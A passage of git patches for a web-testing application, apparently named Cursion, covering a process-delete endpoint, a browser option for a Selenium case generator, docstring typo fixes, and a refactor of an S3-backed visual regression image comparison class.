+            process.info.get('task_id'), 
+            terminate=True, 
+            signal='SIGKILL'
+        )
     except Exception as e:
         print(e)
 
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 5225cbe5..f0a1d180 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -890,11 +890,15 @@ def get(self, request):
 
 class ProcessDetail(APIView):
     permission_classes = (IsAuthenticated,)
-    http_method_names = ['get',]
+    http_method_names = ['get', 'delete']
 
     def get(self, request, id):
         response = get_process(request, id)
         return response
+    
+    def delete(self, request, id):
+        response = delete_process(request, id)
+        return response
 
 
 

From 45ea4bc8946023106281b746149dd5037b00c4d2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 14 Jan 2025 20:52:44 -0700
Subject: [PATCH 0834/1099] update: added browser options to case generator

---
 app/api/utils/autocaser.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 1c504def..1e58caa3 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -54,6 +54,7 @@ def __init__(
 
         # starting driver
         self.driver = driver_init(
+            browser=self.configs.get('browser'),
             window_size=self.configs.get('window_size'),
             device=self.configs.get('device'),
         )
@@ -292,7 +293,7 @@ def get_priority_elements(self, elements: list) -> dict:
     def get_current_elements(self) -> list:
         # returns a list of interactable 
         # elements on the current page and 
-        # removes and duplicates before returning
+        # removes any duplicates before returning
         buttons = self.driver.find_elements(By.TAG_NAME, 'button')
         links = self.driver.find_elements(By.TAG_NAME, 'a')
         forms = self.driver.find_elements(By.TAG_NAME, 'form')
@@ -424,6 +425,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
         # get sub element info
         elem_selector = self.driver.execute_script(self.selector_script, elem)
         elem_xpath = self.driver.execute_script(self.xpath_script, elem)
+        elem_text = self.get_elem_text(selector=elem_selector)
         elem_img = self.get_element_image(element=elem)
         relative_url = self.get_relative_url(self.driver.current_url)
         
@@ -435,6 +437,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'selector': elem_selector,
                 'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
+                'elem_text': elem_text,
                 'placeholder': None,
                 'value': None,
                 'type': None,
@@ -471,6 +474,7 @@ def record_new_element(self, elem: object, sub_elements: list) -> dict:
                 'selector': elem_selector,
                 'xpath': elem_xpath,
                 'elem_type': elem.tag_name,
+                'elem_text': elem_text,
                 'placeholder': elem.get_attribute('placeholder'),
                 'value': value,
                 'type': type,
@@ -705,7 +709,6 @@ def record_forms(self, elements: list, form: object=None) -> list:
                 'path': relative_url,
                 'img': form_img,
                 'elements': sub_elements,
-
             })
         
         # return elements array 
@@ -714,6 +717,7 @@ def record_forms(self, elements: list, form: object=None) -> list:
 
 
 
+
     def get_elements(self) -> list:
 
         # get site page

From 44ff3e34eb07d18347af7dcd6f1164b2fcd1f214 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 22 Jan 2025 09:42:55 -0700
Subject: [PATCH 0835/1099] routine: enriching docs

---
 app/api/utils/imager.py | 51 ++++++++++++++++++++++++++++++++++++++---
 1 file changed, 48 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index d23d2751..0033551c 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -422,9 +422,21 @@ def test_vrt(self, test: object, index: int=None) -> dict:
 
                 # build two new images with differences highlighted
                 def highlight_diffs(pre_img_path, post_img_path, index):
-                    '''
-                    Returns -> two new images with highlights & float(ssim_score)
-                    '''
+                    """
+                    Runs SSIM comparision and highlights 
+                    differences between two passed images
+
+                    Expects: {
+                        pre_img_path  : str,
+                        post_img_path : str,
+                        index         : int,
+                    }
+
+                    Returns: {
+                        'img_objs'   : dict,
+                        'ssim_score' : float
+                    }
+                    """
                     # Load the images
                     image1 = cv2.imread(pre_img_path)
                     image2 = cv2.imread(post_img_path)
@@ -468,6 +480,17 @@ def highlight_diffs(pre_img_path, post_img_path, index):
 
                 # saving old images to new test.id path
                 def save_images(pre_img_id, post_img_id, index):
+                    """ 
+                    Saves two images to test.id path in S3 bucket
+
+                    Expects: {
+                        pre_img_id  : uuid,
+                        post_img_id : uuid,
+                        index       : int, 
+                    }
+
+                    Returns: img_objs <list>
+                    """
                     image_ids = [pre_img_id, post_img_id]
                     img_objs = []
                     for img_id in image_ids:
@@ -496,6 +519,17 @@ def save_images(pre_img_id, post_img_id, index):
 
                 # test images with PIL
                 def pil_score(pre_img, post_img):
+                    """ 
+                    Runs pixel ratio comparison on the two 
+                    passed images and returns a score.
+
+                    Expects: {
+                        pre_img  : uuid,
+                        post_img : uuid,
+                    }
+
+                    Returns: pil_img_score <float>
+                    """
                     try:
                         if (pre_img.mode != post_img.mode) \
                                 or (pre_img.size != post_img.size) \
@@ -518,6 +552,17 @@ def pil_score(pre_img, post_img):
 
                 # test with cv2
                 def cv2_score(pre_img, post_img):
+                    """ 
+                    Runs cv2 ORB Brute-force comparison on the two 
+                    passed images and returns a score.
+
+                    Expects: {
+                        pre_img  : uuid,
+                        post_img : uuid,
+                    }
+
+                    Returns: cv2_img_score <float>
+                    """
                     try:
                         orb = cv2.ORB_create()
 

From 55646a035a4fa03ee06f7d6c8f2f1d6f628c0585 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Jan 2025 10:49:14 -0700
Subject: [PATCH 0836/1099] routine: typo correction in docs

---
 app/api/tasks.py            | 10 ++++----
 app/api/utils/issuer.py     |  2 +-
 app/api/v1/auth/services.py |  2 +-
 app/api/v1/ops/services.py  | 46 ++++++++++++++++++-------------------
 4 files changed, 30 insertions(+), 30 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 23abbc6a..92d2d0a8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -86,7 +86,7 @@ def check_and_increment_resource(account_id: str, resource: str) -> bool:
     {resource}_allowed has not been reached or 
     if account.type is 'cloud'.
 
-    Expcets: {
+    Expects: {
         'account_id'  : <str>,
         'resource'    : <str> 'scan', 'test', 'caserun', etc
     }
@@ -304,7 +304,7 @@ def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CON
     Takes a newly created `Site`, initiates a Crawl and 
     initial `Scan` for each crawled page
 
-    Expcets: {
+    Expects: {
         site_id: str, 
         configs: dict
     }
@@ -374,7 +374,7 @@ def crawl_site_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> No
     Takes an existing `Site`, initiates a new Crawl and 
     initial `Scan` for each newly added page
 
-    Expcets: {
+    Expects: {
         site_id: str, 
         configs: dict
     }
@@ -1604,7 +1604,7 @@ def create_report(
     Generates a new PDF `Report` of the requested `Page`
     and runs the associated `Alert` if requested
 
-    Expcets: {
+    Expects: {
         page_id       : str, 
         alert_id      : str,
         flowrun_id    : str
@@ -2452,7 +2452,7 @@ def reset_account_usage(account_id: str=None) -> None:
     if timezone.today() is the start of the 
     next billing cycle, and resets `Account.usage`
 
-    Expcets: {
+    Expects: {
         'account_id': <str> (OPTIONAL)
     }
 
diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 14f75936..2f494dfc 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -200,7 +200,7 @@ def build_recommendation(
         Using OpenAI's Chat GPT, composes a personalized 
         `recommendation` for the primary `Issue` being created. 
 
-        Expcets: {
+        Expects: {
             'details' : str,
         }
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 4ae4d7a7..8f21fbad 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -1214,7 +1214,7 @@ def t7e(request: object) -> None:
     """
     Helper function for validation & verification
     
-    Expcets: {
+    Expects: {
         'request': object
     }
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index e7b61467..4887adb8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -71,7 +71,7 @@ def decrement_resource(account: object, resource: str) -> None:
     """ 
     Removes '1' from the resource total 
 
-    Expcets: {
+    Expects: {
         'account'  : <object>,
         'resource' : <str> 'site', 'page', 'schedule'
     }
@@ -94,7 +94,7 @@ def check_location(request: None, local: None) -> dict:
     Reroutes a request to a geo-specific 
     instance of Cursion Server. 
 
-    Expcets: {
+    Expects: {
         'request': obj,
         'local'  : str,
     }
@@ -682,7 +682,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Site` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user'    : object,
@@ -756,7 +756,7 @@ def delete_many_sites(request: object=None) -> object:
     Deletes one or more `Sites` associated
     with the passed "request.ids" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -896,7 +896,7 @@ def create_page(request: object=None) -> object:
     """ 
     Creates one or more pages.
 
-    Expcets: {
+    Expects: {
         'requests': object
     }
     
@@ -988,7 +988,7 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 
-    Expcets: {
+    Expects: {
         'request'       : object,
         'http_response'  : bool
     }
@@ -1229,7 +1229,7 @@ def delete_page(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Page` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str
     }
@@ -1287,7 +1287,7 @@ def delete_many_pages(request: object=None) -> object:
     Deletes one or more `Pages` associated
     with the passed "request.ids" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -1601,7 +1601,7 @@ def create_many_scans(request: object=None) -> object:
     Bulk creates `Scans` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -1867,7 +1867,7 @@ def delete_scan(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Scan` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'account' : object,
@@ -1926,7 +1926,7 @@ def delete_many_scans(request: object=None) -> object:
     Deletes one or more `Scans` associated
     with the passed "request.ids" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -2330,7 +2330,7 @@ def create_many_tests(request: object=None) -> object:
     Bulk creates `Tests` for each requested `Page`.
     Either scoped for many `Pages` or many `Sites`.
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -2606,7 +2606,7 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Test` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'account' : object,
@@ -2664,7 +2664,7 @@ def delete_many_tests(request: object=None) -> object:
     Deletes one or more `Tests` associated
     with the passed "request.ids" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
     }
 
@@ -3205,7 +3205,7 @@ def delete_issue(request: object=None, id: str=None, user: object=None) -> objec
     """ 
     Deletes the `Issue` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str
     }
@@ -3940,7 +3940,7 @@ def delete_schedule(request: object=None, id: str=None, user: object=None) -> ob
     """ 
     Deletes the `Schedule` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user'    : object
@@ -4306,7 +4306,7 @@ def delete_alert(request: object=None, id: str=None) -> object:
     """ 
     Deletes the `Alert` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str
     }
@@ -4569,7 +4569,7 @@ def delete_report(request: object=None, id: str=None) -> object:
     """ 
     Deletes the `Report` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str
     }
@@ -5152,7 +5152,7 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Case` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user'    : object,
@@ -5553,7 +5553,7 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
     """ 
     Deletes the `CaseRun` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user' : object
@@ -5944,7 +5944,7 @@ def delete_flow(request: object=None, id: str=None, user: object=None) -> object
     """ 
     Deletes the `Flow` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user'    : object,
@@ -6333,7 +6333,7 @@ def delete_flowrun(request: object=None, id: str=None, user: object=None) -> obj
     """ 
     Deletes the `FlowRun` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'account' : object
@@ -6664,7 +6664,7 @@ def delete_secret(request: object=None, id: str=None, user: object=None) -> obje
     """ 
     Deletes the `Secret` associated with the passed "id" 
 
-    Expcets: {
+    Expects: {
         'request' : object,
         'id'      : str,
         'user'    : object

From ee7d96b7de5a6c70693be255c9356867cd43a407 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 23 Jan 2025 17:49:55 -0700
Subject: [PATCH 0837/1099] feature: added caserun_vrt and refactored existing

---
 app/api/utils/imager.py | 784 ++++++++++++++++++++++++----------------
 1 file changed, 474 insertions(+), 310 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 0033551c..93148d89 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -6,7 +6,7 @@
 from datetime import datetime
 from asgiref.sync import sync_to_async
 import time, os, sys, json, uuid, boto3, \
-    statistics, shutil, numpy, cv2
+    statistics, shutil, numpy, cv2, requests
 
 
 
@@ -15,28 +15,38 @@
 
 class Imager():
     """
-    High level Image handler used to compare screenshots of
-    a website.
+    High level Image handler used to compare screenshots 
+    of a website.
 
     Also known as VRT or Visual Regression Testing.
-    Contains two methods scan() & test():
+    Contains three methods scan_vrt(), test_vrt(), 
+    & caserun_vrt():
 
         def scan_vrt(driver=None) -> using selenium
-            grabs multiple screenshots of the website 
+            grabs screenshots of the website 
             and uploads them to s3.
 
-        def test_vrt(test=<test:object>) -> compares each 
-            screenshot in the two scans and records 
-            a score out of 100%
+        def test_vrt() -> compares each 
+            screenshot in the Test
+
+        def caserun_vrt() -> compares the 
+            screenshot in each step of a CaseRun
     """
 
 
 
 
-    def __init__(self, scan: object=None):
+    def __init__(
+            self, 
+            scan    : object=None, 
+            test    : object=None,
+            caserun : object=None
+        ):
 
-        # main scan object
-        self.scan = scan
+        # primary objects
+        self.scan       = scan
+        self.test       = test
+        self.caserun    = caserun
         
         # main image_array for scans
         self.image_array = []
@@ -144,6 +154,257 @@ def save_image(self, pic_id: str, image: object) -> None:
 
 
 
+    def save_images(
+            self, 
+            pre_img_id: id=None, 
+            post_img_id: id=None, 
+            index: int=0
+        ) -> dict:
+        """ 
+        Saves two images to test.id path in S3 bucket
+
+        Expects: {
+            pre_img_id  : uuid,
+            post_img_id : uuid,
+            index       : int, 
+        }
+
+        Returns: img_objs <list>
+        """
+
+        # build paths based test
+        if self.test:
+            remote_root = f'static/sites/{self.test.page.site.id}/{self.test.page.id}/{self.test.id}/'
+            temp_root = os.path.join(settings.BASE_DIR, f'temp/{self.test.id}')
+        
+        # build paths based caserun
+        if self.caserun:
+            remote_root = f'static/caseruns/{self.caserun.id}/'
+            temp_root = os.path.join(settings.BASE_DIR, f'temp/{self.caserun.id}')
+
+        image_ids = [pre_img_id, post_img_id]
+        img_objs = []
+        for img_id in image_ids:
+            image = os.path.join(temp_root, f'{img_id}.png')
+            remote_path = f'{remote_root}{img_id}.png'
+            root_path = settings.AWS_S3_URL_PATH
+            image_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(image, 'rb') as data:
+                self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+                )
+            
+            # building img obj
+            img_objs.append({
+                "id": str(img_id),
+                "url": image_url,
+                "path": remote_path,
+                "index": index,
+            })
+            
+        return img_objs
+
+
+
+
+    def download_image(
+            self, 
+            url: str=None, 
+            temp_root: str=None
+        ) -> dict:
+        """ 
+        Parses image info and downloads image to local temp_root
+
+        Expects: {
+            'url'       : str, image url,
+            'temp_root' : str, local temp dir
+        }
+
+        Returns: {
+            'name'          : str, image name,
+            'id'            : str, image id,
+            'remote_path'   : str, remote path,
+            'local_path'    : str, local path
+        }
+        """
+        image_name = url.split('/')[-1]
+        image_id = image_name.split('.')[0]
+        remote_path = f'static{url.split('static')[1]}'
+        local_path = os.path.join(temp_root, image_name)
+
+        with open(local_path, 'wb') as data:
+            self.s3.download_fileobj(
+                settings.AWS_STORAGE_BUCKET_NAME, 
+                remote_path, 
+                data
+            )
+
+        # return data
+        return {
+            'name': image_name,
+            'id': image_id,
+            'remote_path': remote_path,
+            'local_path': local_path
+        }
+
+
+
+
+    def highlight_diffs(
+            self, 
+            temp_root: str=None,
+            pre_img_path: str=None, 
+            post_img_path: str=None, 
+            index: int=None
+        ) -> dict:
+        """
+        Runs SSIM comparision and highlights 
+        differences between two passed images
+
+        Expects: {
+            temp_root     : str,
+            pre_img_path  : str,
+            post_img_path : str,
+            index         : int,
+        }
+
+        Returns: {
+            'img_objs'   : dict,
+            'ssim_score' : float
+        }
+        """
+        # Load the images
+        image1 = cv2.imread(pre_img_path)
+        image2 = cv2.imread(post_img_path)
+
+        # Convert the images to grayscale
+        gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
+        gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
+
+        # Compute the SSIM map
+        (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
+
+        # Highlight the differences
+        diff = (diff * 255).astype("uint8")
+
+        # Threshold the difference map
+        _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)
+
+        # Find contours of the differences
+        contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+
+        # Draw rectangles around the differences
+        for contour in contours:
+            (x, y, w, h) = cv2.boundingRect(contour)
+            cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2)
+            cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2)
+
+        # Save the output images
+        img_1_id = uuid.uuid4()
+        img_2_id = uuid.uuid4()
+        cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
+        cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
+        img_objs = self.save_images(img_1_id, img_2_id, index)
+        
+        data = {
+            "img_objs": img_objs,
+            "ssim_score": ssim_score
+        }
+
+        return data
+
+
+
+
+    def pil_score(
+            self, 
+            pre_img: object=None, 
+            post_img: object=None
+        ) -> float:
+        """ 
+        Runs pixel ratio comparison on the two 
+        passed images and returns a score.
+
+        Expects: {
+            pre_img  : object,
+            post_img : object,
+        }
+
+        Returns: pil_img_score <float>
+        """
+        try:
+            if (pre_img.mode != post_img.mode) \
+                    or (pre_img.size != post_img.size) \
+                    or (pre_img.getbands() != post_img.getbands()):
+                raise Exception('images are not comparable')
+
+            # Generate diff image in memory.
+            diff_img = ImageChops.difference(pre_img, post_img)
+
+            # Calculate difference as a ratio.
+            stat = ImageStat.Stat(diff_img)
+            diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100
+            pil_img_score = (100 - diff_ratio)
+            # print(f'PIL score -> {pil_img_score}')
+            return pil_img_score
+        
+        except Exception as e:
+            print(e)
+
+
+
+    
+    def cv2_score(
+            self, 
+            pre_img: object=None, 
+            post_img: object=None
+        ) -> float:
+        """ 
+        Runs cv2 ORB Brute-force comparison on the two 
+        passed images and returns a score.
+
+        Expects: {
+            pre_img  : object,
+            post_img : object,
+        }
+
+        Returns: cv2_img_score <float>
+        """
+        try:
+            orb = cv2.ORB_create()
+
+            # convert to array
+            pre_img_array = numpy.array(pre_img)
+            post_img_array = numpy.array(post_img)
+
+            # detect keypoints and descriptors
+            kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
+            kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
+
+            # define the bruteforce matcher object
+            bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
+                
+            # perform matches. 
+            matches = bf.match(desc_a, desc_b)
+
+            # Look for similar regions with distance < 20. (from 0 to 100)
+            similar_regions = [i for i in matches if i.distance < 20]  
+            if len(matches) == 0:
+                cv2_img_score = 100
+            else:
+                cv2_img_score = (len(similar_regions) / len(matches)) * 100
+                # print(f'cv2 -> {cv2_img_score}')
+                
+            return cv2_img_score
+
+        except Exception as e:
+            print(e)
+
+
+
+
     def scan_vrt(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
@@ -332,7 +593,7 @@ def scan_vrt(self, driver: object=None) -> list:
 
 
 
-    def test_vrt(self, test: object, index: int=None) -> dict:
+    def test_vrt(self) -> dict:
         """
         Compares each screenshot between the two scans and records 
         a score out of 100%.
@@ -342,10 +603,7 @@ def test_vrt(self, test: object, index: int=None) -> dict:
             - PIL ImageChop Differences, Ratio
             - cv2 ORB Brute-force Matcher, Ratio
 
-        Expects: {
-            'test': object, 
-            'index': int,
-        }
+        Expects: None
 
         Returns -> data: {
             'average_score' : float(0-100),
@@ -353,319 +611,224 @@ def test_vrt(self, test: object, index: int=None) -> dict:
         }
         """
 
+        # defaults
+        i = 0
+        images_delta = {
+            "average_score": None,
+            "images": None,
+        }
+
         # setup temp dirs
-        if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')):
-            os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}'))
+        if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{self.test.id}')):
+            os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{self.test.id}'))
         
         # temp root
-        temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}')
-        
-        # loop through and download each img in scan and compare it.
-        pre_scan_images = test.pre_scan.images
-        img_test_results = []
-        scores = []
-        i = 0
-
-        if index is not None:
-            pre_scan_images = [test.pre_scan.images[index]]
-            i = index
-
-        # catching user error when scan_type 
-        # did not include 'vrt'
-        if pre_scan_images is None:
-            images_delta = {
-                "average_score": None,
-                "images": None,
-            }
+        temp_root = os.path.join(settings.BASE_DIR, f'temp/{self.test.id}')
+    
+        # catching user error
+        if self.test.pre_scan.images is None or self.test.post_scan.images is None:
+            shutil.rmtree(temp_root)
             return images_delta
 
+        # download images
+        pre_img_info = self.download_image(self.test.pre_scan.images[0].get('url'), temp_root)
+        post_img_info = self.download_image(self.test.post_scan.images[0].get('url'), temp_root)
 
-        for pre_img_obj in pre_scan_images:
-            
-            # getting pre_scan image
-            pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png')
-            with open(pre_img_path, 'wb') as data:
-                self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
+        # open images with PIL Image library
+        pre_img = I.open(pre_img_info.get('local_path'))
+        post_img = I.open(post_img_info.get('local_path'))
+        
+        # check and reformat image sizes if necessary
+        pre_img_w, pre_img_h = pre_img.size
+        post_img_w, post_img_h = post_img.size
+
+        # pre_img is longer
+        if pre_img_h > post_img_h:
+            print(f'pre_img is larger, adjusting...')
+            new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
+            new_pre_img.save(pre_img_info.get('local_path'), quality=100)
+            pre_img = I.open(pre_img_info.get('local_path'))
+        # post_img is longer
+        if post_img_h > pre_img_h:
+            print(f'post_img is larger, adjusting...')
+            new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
+            new_post_img.save(post_img_info.get('local_path'), quality=100)
+            post_img = I.open(post_img_info.get('local_path'))
+
+        # test images
+        try:
+            # generating new highlighted images and score via ssim
+            ssim_results = self.highlight_diffs(
+                temp_root, 
+                pre_img_info.get('local_path'), 
+                post_img_info.get('local_path'), 
+                i
+            )
+            pre_img_diff = ssim_results['img_objs'][0]
+            post_img_diff = ssim_results['img_objs'][1]
             
-            # getting post_scan image
-            try:
-                post_img_obj = test.post_scan.images[i]
-            except:
-                post_img_obj = None
+            # ssim scoring
+            ssim_img_score =  ssim_results['ssim_score'] * 100
+
+            # pillow scoring
+            pil_img_score = self.pil_score(pre_img, post_img)
             
-            if post_img_obj is not None:
-                post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png')
-                with open(post_img_path, 'wb') as data:
-                    self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
-                
-                # open images with PIL Image library
-                post_img = I.open(post_img_path)
-                pre_img = I.open(pre_img_path)
-                
-                # check and reformat image sizes if necessary
-                pre_img_w, pre_img_h = pre_img.size
-                post_img_w, post_img_h = post_img.size
-
-                # pre_img is longer
-                if pre_img_h > post_img_h:
-                    print(f'pre_img is larger, adjusting...')
-                    new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
-                    new_pre_img.save(pre_img_path, quality=100)
-                    pre_img = I.open(pre_img_path)
-                # post_img is longer
-                if post_img_h > pre_img_h:
-                    print(f'post_img is larger, adjusting...')
-                    new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
-                    new_post_img.save(post_img_path, quality=100)
-                    post_img = I.open(post_img_path)
-
-
-                # build two new images with differences highlighted
-                def highlight_diffs(pre_img_path, post_img_path, index):
-                    """
-                    Runs SSIM comparision and highlights 
-                    differences between two passed images
-
-                    Expects: {
-                        pre_img_path  : str,
-                        post_img_path : str,
-                        index         : int,
-                    }
-
-                    Returns: {
-                        'img_objs'   : dict,
-                        'ssim_score' : float
-                    }
-                    """
-                    # Load the images
-                    image1 = cv2.imread(pre_img_path)
-                    image2 = cv2.imread(post_img_path)
-
-                    # Convert the images to grayscale
-                    gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
-                    gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
-
-                    # Compute the SSIM map
-                    (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
-
-                    # Highlight the differences
-                    diff = (diff * 255).astype("uint8")
-
-                    # Threshold the difference map
-                    _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)
-
-                    # Find contours of the differences
-                    contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
-
-                    # Draw rectangles around the differences
-                    for contour in contours:
-                        (x, y, w, h) = cv2.boundingRect(contour)
-                        cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2)
-                        cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2)
-
-                    # Save the output images
-                    img_1_id = uuid.uuid4()
-                    img_2_id = uuid.uuid4()
-                    cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
-                    cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
-                    img_objs = save_images(img_1_id, img_2_id, index)
-                    
-                    data = {
-                        "img_objs": img_objs,
-                        "ssim_score": ssim_score
-                    }
-
-                    return data
-
-
-                # saving old images to new test.id path
-                def save_images(pre_img_id, post_img_id, index):
-                    """ 
-                    Saves two images to test.id path in S3 bucket
-
-                    Expects: {
-                        pre_img_id  : uuid,
-                        post_img_id : uuid,
-                        index       : int, 
-                    }
-
-                    Returns: img_objs <list>
-                    """
-                    image_ids = [pre_img_id, post_img_id]
-                    img_objs = []
-                    for img_id in image_ids:
-                        image = os.path.join(temp_root, f'{img_id}.png')
-                        remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png'
-                        root_path = settings.AWS_S3_URL_PATH
-                        image_url = f'{root_path}/{remote_path}'
-                    
-                        # upload to s3
-                        with open(image, 'rb') as data:
-                            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
-                            )
-                        
-                        # building img obj
-                        obj = {
-                            "id": str(img_id),
-                            "url": image_url,
-                            "path": remote_path,
-                            "index": index,
-                        }
-                        img_objs.append(obj)
-                        
-                    return img_objs
-
-
-                # test images with PIL
-                def pil_score(pre_img, post_img):
-                    """ 
-                    Runs pixel ratio comparison on the two 
-                    passed images and returns a score.
-
-                    Expects: {
-                        pre_img  : uuid,
-                        post_img : uuid,
-                    }
-
-                    Returns: pil_img_score <float>
-                    """
-                    try:
-                        if (pre_img.mode != post_img.mode) \
-                                or (pre_img.size != post_img.size) \
-                                or (pre_img.getbands() != post_img.getbands()):
-                            raise Exception('images are not comparable')
-
-                        # Generate diff image in memory.
-                        diff_img = ImageChops.difference(pre_img, post_img)
-
-                        # Calculate difference as a ratio.
-                        stat = ImageStat.Stat(diff_img)
-                        diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100
-                        pil_img_score = (100 - diff_ratio)
-                        # print(f'PIL score -> {pil_img_score}')
-                        return pil_img_score
-                    
-                    except Exception as e:
-                        print(e)
-
-
-                # test with cv2
-                def cv2_score(pre_img, post_img):
-                    """ 
-                    Runs cv2 ORB Brute-force comparison on the two 
-                    passed images and returns a score.
-
-                    Expects: {
-                        pre_img  : uuid,
-                        post_img : uuid,
-                    }
-
-                    Returns: cv2_img_score <float>
-                    """
-                    try:
-                        orb = cv2.ORB_create()
-
